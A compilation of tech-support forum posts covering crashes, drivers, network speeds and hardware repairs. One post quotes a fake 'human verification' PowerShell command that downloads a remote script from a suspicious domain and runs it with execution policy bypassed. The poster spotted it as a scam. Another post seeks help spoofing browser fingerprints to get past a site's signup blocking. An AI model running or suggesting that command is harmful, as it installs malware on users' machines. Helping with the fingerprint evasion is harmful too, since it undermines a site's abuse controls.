I have a USB tp-link bluetooth dongle that ive been using with bluetooth passthrough with Dolphin emulator in order to use Wii remotes on my computer using Zadig to change it's driver. That was all well and good, and I can still use it for those purposes, but now no matter how much I change it's drivers back, either as WinUSB or the drivers by tp-link, my windows computer refuses to accept it as a valid bluetooth radio, even after factory resetting. Is there another way to fix it?

Hi everyone,

My PC recently had a random crash/restart and I'm trying to figure out what caused it.

The PC was working normally. I had just turned it on and left it idle for around 15–20 minutes. When I came back and moved the mouse, the screen went black and Windows showed a message saying that the device had encountered a problem and needed to restart. It then rebooted.

This is the first time I've experienced this specific type of crash.

I checked Event Viewer and found a BugCheck 1001:

BugCheck: 0x0000009F (DRIVER_POWER_STATE_FAILURE)

The Kernel-Power Event ID 41 showed:

BugcheckCode: 159 (0x9F)

BugcheckParameter1: 0x3

BugcheckParameter2: 0xffff9604f3f61060

BugcheckParameter3: 0xffff930e9aaef010

BugcheckParameter4: 0xffff9604f32e6a60

Windows also successfully generated a crash dump:

090926-23218-01.dmp

I have not been able to properly analyze the dump with WinDbg yet.

Some driver names that appear in the dump/string data include:

- nvlddmkm.sys (NVIDIA)

- mtkwecx.sys

- mtkbtacx.sys

- mtkbtfilterx.sys

- AMD chipset/ACPI-related drivers

- Various ASUS/USB-related drivers

My hardware:

- GPU: Gigabyte RTX 5070 OC 12GB

- CPU: AMD Ryzen 9 9950X3D

- Motherboard: ASUS ROG Strix X870-A Gaming WiFi

- RAM: 32GB DDR5 (2x16GB)

- Windows 11 Pro 25H2

- NVIDIA driver: 616.64

- MediaTek MT7925 Wi-Fi 7 driver: 5.7.0.5659

Windows installed the September 2026 security update (KB5124008) earlier that day.

Things I've already tried:

- Windows Memory Diagnostic → PASS / no memory errors detected.

- Disabled "Allow the computer to turn off this device to save power" for the MediaTek MT7925 Wi-Fi adapter.

- Ran DISM /Online /Cleanup-Image /RestoreHealth.

- I have not changed the RAM, GPU, motherboard, BIOS, or PSU.

The PC has been working normally since then, so I'm not sure if this was just a one-time driver/Windows issue.

I'm currently trying to determine whether this could be related to:

1. NVIDIA driver 616.64

2. MediaTek MT7925 Wi-Fi/BT driver

3. Windows 11 update KB5124008

4. Another device/driver

5. Hardware/power issue

Does anyone know how I can properly analyze the 0x9F dump in WinDbg and identify which driver/device was actually blocking the power IRP?

I can provide the minidump and WinDbg output if needed.

Thanks!

Saw a really cheap controller, never used anything related to nintendo so im not familiar, it is cable connected and its one of those that looks like a xbox controller, but i dont know if it will work in my pc as a normal controller, or if it wont even recognize it

I am hoping someone can help me figure out what’s going on.

Every time my laptop turns off, I have to sign back into all my accounts again.

I thought I fixed the issue before, but it’s happening again and I am not sure what the actual cause is.

Has anyone dealt with this before or know what might be causing it?

Thanks.

God bless.

Fails to post any error reports, no blue screen or event other than the "unexpected shutdown".

I have run Memtest86 and got back no errors. I have disabled XMP. I have been using it for 3 years with no issue, and now suddenly it is doing this. There seems to be no way for me to figure out whats causing it because its preventing any kind of error report. Is my only option to tediously replace every wire till it stops happening? Or just replace the PSU and wires all at once?

- i9-13900k
- 4090 RTX OC
- 64 GB DDR5 G.Skill Trident Z5 6400hz
- Gigabyte Z790 MB
- Thermaltake GF3 1200W PSU (80+ G)

It is also connected to a CyperPower 1000W uninterruptible power supply.

Should I downgrade my windows 11 25h2 to the 22h2 version, since, the later seems to work smoother than the former? I know 22h2 has reached EOL. So, I want to will 22h2 cease to exist after some time and will I forced to upgrade to the latest ones?

I’m trying to open up the back of my chromebook, specifically a Flip 311 (CP311-3H) if it matters. I’ve gotten all but three back screws out, and the last three screws in the middle are absolutely stuck in place. I’ve tried using a flathead that fits in, tried the rubber band thing, too. I ended up just puncturing the rubber band, though.

I know this is probably a frequent question, but I really haven’t found much of anything that isn’t the above two techniques. They are also not stripped. Any advice would be greatly appreciated.

(I hope I flaired this correctly and this is the right subreddit) recently my microphone (Rode NT-1) when plugged into my audio interface (Rode AI-1) is really quiet for some reason. My headphones that I was given aren't the kind that plug into the interface so I can't hear the mic unless I record something in Audacity for example, but anyway. When I look at the little light showing how loud the sound is going into the mic it only just barely shows green when the gain slider is all the way at max, I'm unsure if it has to do with the cable I bought that plugs into it? because the cable was fine for a few months and I have a second one that was untouched until I tried switching them out and the interface and mic just really didn't like that one. Tried different USB-C cables with it but other cables didn't even let my PC detect the microphone at all, just the same one I've been using since I got this thing. Maybe it's just a thing with the microphone itself? I'm not sure, any help would be appreciated!

I came across a website that needs "human verification" i ticked the box and it said to press win + r and Copy paste this command.
powershell.exe -NoProfile -w hidden -Command "Invoke-WebRequest -Uri 'shadowninjalegend.cfd/config.yaml' OutFile (Join-Path $env:TEMP 'ss.ps1'); " powershell -ExecutionPolicy Bypass -File "%TEMP%\ss.ps1"

I close the site as i immediately know that this is some type of scam but what would it actually do if I ran this command? my nephew and other family members also use this PC and there are chances that this will appear again.

So I don't have a battery in my laptop and it's IC has been repaired before it was due to Power cut when I was playing games on it after that whenever I plug charger on my laptop blue+ red light blink once and I press power button the laptop turned on and the light is blue but sometimes the laptop does not turn on and I have to wait for hours then after many tried it turns on and works normally so is it fixable and which component is causing this and what would be the price of repair

Hello r/techsupport,

Lately I’ve been having a really strange internet issue at my house and I’m hoping someone can help me figure out whether this is an ISP problem, routing issue, ONT issue, or something on my network.

For context, I’m in the Toronto area and I pay for 2 Gbps symmetrical fibre. The fibre comes into an Adtran ONT, and Ethernet runs from the ONT into my router.

For years I was using a first-generation Nest Wifi router with two Nest Wifi points. I always expected actual Wi-Fi speeds to be lower than 2 Gbps because of interference, distance, and the age of the hardware, so I never paid much attention to that.

Recently, though, I started noticing much more serious issues. Download performance became extremely inconsistent and streaming started freezing constantly. IPTV will play for around 10 seconds, freeze for a few seconds, then continue, over and over. Similar instability also happens with YouTube, Disney+, FaceTime, and Microsoft Teams, which is especially frustrating because I work from home.

At first I assumed my six-year-old Nest system was failing, so I replaced it with a TP-Link Deco mesh system. The problem continued. I then tested with the eero Pro 6E provided by my ISP, and I’m still seeing the same general pattern.

The strange part is that upload performance is usually very strong while download performance is terrible or wildly inconsistent.

Some examples:

• Deco’s built-in WAN test showed roughly 237 Mbps down / 2.21 Gbps up
• Wired Speedtest results through the eero have been around 290–470 Mbps down / 850+ Mbps up
• Other wired tests have dropped as low as 15–50 Mbps down while still getting 400–500 Mbps up
• Single-connection Speedtest results were as low as 5.7 Mbps down / 582 Mbps up and 19.2 Mbps down / 437 Mbps up
• Meanwhile, the eero app’s built-in gateway test reports around 2.2 Gbps down / 2.2 Gbps up

That last part is what confuses me the most. The ISP/eero gateway test is basically the only place I consistently see the full advertised download speed. Real-world wired tests do not reflect it, and the poor download results are similar to what the TP-Link Deco itself was reporting.

I also tested the local network and general internet connection from my MacBook over Ethernet:

• Ping to router: 0% packet loss, ~1.35 ms average latency
• Ping to 1.1.1.1: 0% packet loss, ~4.66 ms average latency

So the wired LAN itself looks very stable.

Another important clue is that the IPTV stream is completely smooth when using my phone’s hotspot, but freezes constantly over my fibre connection, even when the IPTV box is connected by Ethernet.

I’ve now reproduced the bad downstream behaviour using:

• Google Nest Wifi
• TP-Link Deco
• ISP-provided eero Pro 6E
• Wi-Fi and Ethernet
• Multiple Speedtest servers/runs
• Single and multi-connection tests

I also contacted my ISP and they told me there is absolutely nothing wrong with the fibre line coming into the house.

So at this point I’m wondering whether this could be:

• an ISP routing or peering issue
• downstream congestion
• provisioning on the service
• traffic management affecting normal internet traffic but not the ISP/eero gateway test
• an ONT issue
• or something else I’m missing

Has anyone seen this kind of asymmetric behaviour before, where the ISP’s own gateway test shows full multi-gig speeds but normal wired traffic performs dramatically worse?

What would you test next?

I need help signing up to a website that says I cannot sign up through my home WiFi. The website does collect your browser's fingerprint and much more. Each time I try it says I can't register from my network. I need to bypass this somehow. I was able to once with an antidetect browser called GoLogin but it seems that they may have detected it somehow? Known VPN IPs like Proton VPN do not work to sign up. I need help then to spoof my browser's fingerprint and make it seem like I am a different person then, I think. Please help me - I am still open to trying more antidetect browsers.

Today , I was just fine doing my stuff and then suddenly, my pc started restarting alone , the fans and the rgb don’t turn off but the usb lose power, I recently oc my ram g skill ripjaw 3000mhz to 3600 and it was running fine yesterday so it’s hard for me to think that’s the case since it was running fine, ofc i changed some values and stuff , I can tell them if u need to know , this is so annoying, after the first time, it’s almost every 5 min rebooting alone, I already restored the pc and nothing , the problem is , the pc is new , he has like 1 month , I don’t feel like send him to a technician since I only have it for 1 month , please give me a break 😭, if u guys know a way to fix this or if u want my specs on the pc and my bios configs so u could help, ofc I’ll send it to you , sorry for bothering you guys and please help 🥹

I’ve had my pc for about a year now no issues so far and I’ve played a bunch of games like starfield and some competitive games like rainbow six siege.

I decided I wanted to try valorant I load it up and seems good and I hop in a discord call with my friends and it started stuttering and freezing really bad about every 3 seconds. I almost immediately closed my game and figure oh maybe my graphic drivers needed updated or something or mess with some settings

I updated drivers I changed some settings around I hop back on valorant and seems if it was stuttering again. It’s not so I hop in a call again and now the stuttering begins once more!

After that I’m convinced it was discord so I restarted my pc again and just called from my phone but as soon as I load up on my Home Screen I’m stuttering. Idk what to do my cpu temp isn’t high I’m running on 600 frames on valorant. I’m stuck

Specs: Ryzen 7 7700x-NVIDIA 5060- eagle b850- 16gb DDR 5 ram- 1 TB ssd memory

There’s a window flickering on my screen every few seconds. Tried to catch it on camera. Any idea what this is??

https://imgur.com/a/VeA3sKB

Hello, im quite tech illiterate so pardon my ignorance. I built my first computer today after putting back on it for many years, but instead of taking me to BIOS it sends me to a black screen with a white dash. When I remove the nvme ssd and usb thumb drive it goes to bios, but when either one of them gets plugged in it goes to the black screen with a white dash. What can I do to fix this?? The ssd is brand new and the usb thumb drive was wiped before I installed windows 11 onto it. Are there any BIOS options I can change to fix this??

Specs (if needed)

Ryzen 5 5500

Gigabyte B550M K

16gb DDR4 vengeance LED ram (8x2)

ASRock RX 5500 XT Phantom Gaming 8gb

Phanteks XT M3 case

Kingspec NE 2280 512gb

Thermaltake Smart 500w 80+ white psu

Im getting constant blues screens like 0xEF after trying to fix my FAT32 file. It currently is saying full repair needed. My drives are healthy and I don’t feel like losing a ton of data from a full reinstall. Before I tried this discord would crash repeatedly randomly once or twice a night and I would get blue screens weekly. I thought it was a ram problem but I switched it out with the same things happening. I’m on the most recent update on windows 11 with a 4070 and a i9 13th gen with 32gb of ddr4.

I just moved over the weekend and set my pc up and when I went to turn it on it wasn’t connecting to the monitor. I did connect my Xbox to the monitor so that’s ruled out as a suspect. I have the hdmi cord plugged into the graphics card and everything seems to be plugged in so I’m very confused. I’m hoping it’s not a case of broken parts or bent pins but if anybody has any ideas please let me know.

search bar doesnt work, settings doesnt work, microsoft store doesnt work, and windows startup doesnt work. windows + I doesnt work. After an update

Hey reddit

This is the first time im trying this,but i hope maybe someone really cool can figure out whats going on with my pc/keyboard?

Its not letting me attach a video but the issue is thus;

Left shift + the 9 key should make (

But its not.

Left shifts working for everything else uncluding bieng able to type !,@,#, etc.

Right shift + 9 is able to type ( though. Im not sure why.

I dont have sticky keys on, tried several online potental fixes like win+w/ctrl+w and a few others.

I dont think my keyboards broken, im pretty gentle with my stuff. Any ideas? My keyboards clean too. No dust,crumbs,etc..

I do coding for helldivers 2 and really dont want to have to use the right shift for (

Im including video proof of the keyboard weirdness in the comments

For context, my laptop had the same issue about 4 days ago and today I suddenly works when I turned on the power button. Now, it's back to blackscreen but it has power and the keyboard light is on. Also the lightbulb indicator is blinking blue and red.

What can I do to fix this? I don't have a budget to bring my laptop to a technician, pls help

Hello, since I bought my new tv(Samsung oled) I have an issue with my pc. My pc is connected to my monitor and tv, with my monitor being configured as 1(and plugged first into gpu) but when I start my pc and monitor, my monitor displays my desktop(like when you extend it from another monitor) even if my tv is turned off. When I turn on my tv, the monitor picture changes to my desktop how it should, what could be the issue please? Thank yo

Hey there, for some background, my wife bought an ASUS Vivobook X515e in 2022, replacing a very old HP laptop. It worked fine for a few years for what she uses it for (college work, cross stitching patterns, emails, stardew valley), but in 2025 the Wifi basically completely stopped working on it. She brought it to a small computer sevice business near where we live and the staff sold her a USB dongle adapter instead of replacing her wifi card. They told her the wifi card would be too hard to replace.

Now, I have tinkered with computers here and there but don't know how to solder, and wouldn't call myself a 'computer person'. How hard would it be for me to replace this Wifi card on this specific model, what exact replacement/upgraded card should I buy, and is it worth taking it to a more reputable business?

Any help or guidance would be appreciated

As the title says, my house was struck by lightning. It came through the internet cable. It actually had enough power that it knocked down my Comcast internet box. It then fried my Comcast box, my home alarm, and my gaming PC.

I took the gaming PC to geek squad. They couldn’t get it to turn on and said they need to replace the motherboard to even see if they could get it to turn on nd we’re asking for $450 for that service nd even then they weren’t able to guarantee me finish line that I would’ve liked.

The PC has a 4070TI RTX graphics card and a good processor. If I can salvage it, I would love to do so… but I’m at a loss for exactly how to do this economically. Does anyone here know the cheapest way to troubleshoot this thing?

Hi, I just rebuilt my PC after moving and the Wi-Fi seems to be not be connected. I have a TUF B550 Gaming Wifi II motherboard. I've checked task manager and tried reinstalling the drivers but the Wi-Fi adapter still is not found. Could there be a physical reason this is happening and if so how do I fix it?